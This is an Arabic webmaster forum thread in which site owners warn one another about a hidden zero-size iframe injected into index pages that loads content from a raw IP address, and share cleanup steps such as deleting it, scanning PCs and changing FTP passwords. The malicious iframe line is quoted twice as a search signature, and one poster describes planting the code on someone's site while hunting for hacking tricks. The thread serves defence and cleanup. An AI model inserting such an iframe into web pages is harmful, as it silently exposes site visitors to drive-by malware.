تحذير هام وشديد بخصوص مواقعكم

[ميادين]

السلام عليكم ورحمة الله وبركاته اما بعد :

طبعا انا حبيت اعرض لكم هذي المشكلة والتي واجهتني اكثر من مرره وفي اكثر من موقع وهي يجب على كل شخص البحث عن هذا الكود :

<iframe src='http://81.95.149.27/go.php?sid=1' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>

والذي تسبب في وقف اكثر من موقع وهذه بعض المواقع التي تسبب في وقفها :

www.maydeen.net وايضا www.k-s-a-10.com وعمله هذا الكود يسبب في توقيف المنتدى او يقوم بتوقيف صفحات موقعك بشكل نهائيا ولكن الحل حذفه من ملفات موقعك ويكون موجود في احدى هذه الملفات فقط وانا قمت بالتجربة :

index.php او index.htm او index.html او ملفات تكون امتدادها index.XXXXXXXXXXX

يعني افتح هذا الملف وابحث عن هذا الكود :

<iframe src='http://81.95.149.27/go.php?sid=1' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>

وقم بحذفه فقط وستنحل المشكلة نهائيا انشاء الله ..

[AboAyoob]

شكرا لك أخوي على هذا التنبيه
لكن ما سبب دخول هذا الكود على ملفات الموقع
إذا لم يكن مدير والموقع وضعها
أقصد - هل هو فيروس أو تروجان

[lebstars.net]

مشكور يا الغالي على التنبيه

[moharg]

نفس المشكله

صراحه دخت من هل فايروس

والمشكله انه كل ما امسح الكود يرد يحطه ويزرعه لي في الصفحات

[ميادين]

بصراحة هذي المشكلة واجهتني اكثر من مرة ولحد الآن تواجهني وهي خطيرة وقد اكشفها الاخ برهان وطلع ملف تورجان لكن بصراحة انا حذفته ورجع اكثر من مره وارجو من يعرف طريقة الحل آمنة يخبرنا رجاء...

<<<<<<<<<

[hack_pal]

شكرا لك أخوي على هذا التنبيه
لكن ما سبب دخول هذا الكود على ملفات الموقع
إذا لم يكن مدير والموقع وضعها
أقصد - هل هو فيروس أو تروجان

سؤالي نفس السؤال اخنا العزيز

[sa-so]

جربوا تركبوا اندكس جديد

او غيروا جميع ملفات الموقع

فمان الله

[خالد الحربي]

جاني قبل هذا ولحس مخي من جد

نزلت برامج سباي وير لكشف ملفات التجسس

وسويت سكان على جهازي وحذفت ابوها

ونزلت الكاسبر وشيكت على جهازي والحمدلله تمكنت من حذف بلاوي متلتله

بعدها نزلت الصفحات اللي بموقعي وفيها هالكود الخبيث وقمت بحذفها يدوياً

ومسحت الصفحة القديمة المرفوعه ورفعت الجديدة وتخلصت منه نهائياً

شبكة محشش

[fajrnet]

مشكور على التنبيه يا الغالي

[المستثمرون العرب]

يا اخوان انا هالملف بالضبط مازلت احتفظ بنسخه منه قبل لا احذفه

فكنت ابحث عن كود فتحة موقع بالكوكيز او شئ زي كذا

فوجدت موضوع وردوه خيال اش معنى جات في راسي الله اعلم

المهم الكود يوصي صاحبه بتغير الروابط لمواقعنا المراده وفعلا تم

وجربته على احد المواقع ونسيت انه ركبته عليه ولم ادخل هذا الموقع وكلمني صاحبه يقول انه له 3 ايام اذا دخل على الرئيسية يحوله على موقع مش حذكر اسمه

وبحثت ضمن المجلدات على الاف تي بي فوجدت index.XXXXXXXXXXXبالضبط

وفيه الكود ورابط الصفحة الموجه

وجربت نفس الكود على موقع سليم وفعلا في نفس الوقت صار نفس الحكاية

تجربة شخصية

[ميادين]

يا اخوان انا هالملف بالضبط مازلت احتفظ بنسخه منه قبل لا احذفه

فكنت ابحث عن كود فتحة موقع بالكوكيز او شئ زي كذا

فوجدت موضوع وردوه خيال اش معنى جات في راسي الله اعلم

المهم الكود يوصي صاحبه بتغير الروابط لمواقعنا المراده وفعلا تم

وجربته على احد المواقع ونسيت انه ركبته عليه ولم ادخل هذا الموقع وكلمني صاحبه يقول انه له 3 ايام اذا دخل على الرئيسية يحوله على موقع مش حذكر اسمه

وبحثت ضمن المجلدات على الاف تي بي فوجدت index.XXXXXXXXXXXبالضبط

وفيه الكود ورابط الصفحة الموجه

وجربت نفس الكود على موقع سليم وفعلا في نفس الوقت صار نفس الحكاية

تجربة شخصية

معليش اخوي انا ما فهمت منك ولا اي شي ارجو انك توضح كلامك اكثر عزيزي الكريم مع اجمل تحية

[ميادين]

والله مشكلة كبيرة بالفعل وانا انصح من يجد هذا الكود يحذفه نهائيا والشركة ارسلت لي رسالة تنبيه بأنه موقعي فيه ملف يهكر او يحاول الوصول الى بنك امريكي وسرقة معلوماته وهذي مشكلة كبيرة من جد والحمد لله مسحت هذا المجلد اللي فيه هذا حتى اطمئن :

وهذي الرساله :

http://www.swalif.net/softs/swalif12/softs205942/

لكن ارجو من الإخوة البحث في مواقعهم فالإختراق في هذه الأيام سهل جدا وارجو انهم يستخدمون حماية مواقعهم عن طريق السيرفرات او انهم يحاولون تركيب سيرفر اباتشي في مواقعهم وهذا افضل من اي شي فهي حماية اكيدة...

اخوكم ميادين.نت

[برهان]

بصراحة هذي المشكلة واجهتني اكثر من مرة ولحد الآن تواجهني وهي خطيرة وقد اكشفها الاخ برهان وطلع ملف تورجان لكن بصراحة انا حذفته ورجع اكثر من مره وارجو من يعرف طريقة الحل آمنة يخبرنا رجاء...

<<<<<<<<<

شكرا على الاشارة الى اسمي ككاشف له

تحياتي

[خبير S E O]

لقد واجهتنى هذه المشكله من قبل والحل تغيير بيانات FTP ثم حذف الكود

[shababy]

قمت قبل ذلك بكتابة هذه الكلمات هنا http://www.swalif.net/softs/swalif55/softs205310/
وعموما كان ردي

السلام عليكم ورحمة الله وبركاته
فى الفترة الاخيرة حدث ما اسميه اختراق مواقع عام و ما اسماه البعض العض الآخر فيروس السرفرات
ايا كان ما نسميه و لكن الفكرة فى ان اهذا الفيروس يقوم بلصق كود فى صفحات و اقولها بعض صفحات و ليست كل صفحات موقعك بطريقة تجعل متصفح موقعك يصاب بهذا الفيروس الذى بدوره يقوم بتحميل iframe ثم بدوره يقوم بتجميل تروجان باتس adware كلو احد و نصيبه ايها السادة
و بالتاليى عند اول زيارة لك من عناكب جوجل فانها ترى هذه المهذلة فى صفحات موقعك
فبالتالى حفاظا على المستخدمين فانها تقوم بعمل هذا الاشعار و مع بعض المواقع التي لي علاقة باصحابها
و اعمل كاستشارى مع بعض اصحابها و بعض قراء كتبى من بعض اصحابها ايضا ,,,

اصابتهم هذه ال****

بداية دعنا نتحدث عن كيف تقوم بمعرفة هذا الفيروس
1- انزل kasper antivirus ويفضل النسخه الديمو حتى لا تقوم بتنزيل كراك يصيب الجهاز بفيروسبنفسه
2- حمل مضاد الفايروسات على الجهاز
ادخل فحات موقعك واحدةىتلو الأخرى و ابحث فى جوجل عن صفحاتك المؤرشف و اعرفاى منها لصق بهذه هذا الفيروس اللعين
4- بعد التاكد من ان جميع صفحات موقعك المصابه عناوينها كالتاليى
5- قم بتجمل الصفحات من مستخدم FTP ستجد فى الصفحة كود يبدا <iframe > و به وصلة لمواقع خارجية اول مرة تسمع بها
6- قم بنزع هذا الكود و احفظ الصفحة ثم ارفعها مرة ثانية
7- لا تعتقد ان بنزعك لهذا الكود سيقوم جوجل مباشرة بإعادة الامور لنصابها الطبيعيى سيتطلب بعض الوقت
8- او قم بالابلاغ لجوجل ان موقك خالى من ال ADWARE

ثم بعد ذلك حل المشكلة ياتي وحده حيث ستجد ان العبارة الأليمة هذا الموقع ضار بالجهاز قد تلاشت ان شاء الله




أحمد محيى الدين
اربح من الإنترنت مع المتحولون
www.shababx.com
الوصلة www.easyseobook.com
تعلم اشهار المواقع خطوة بخطوة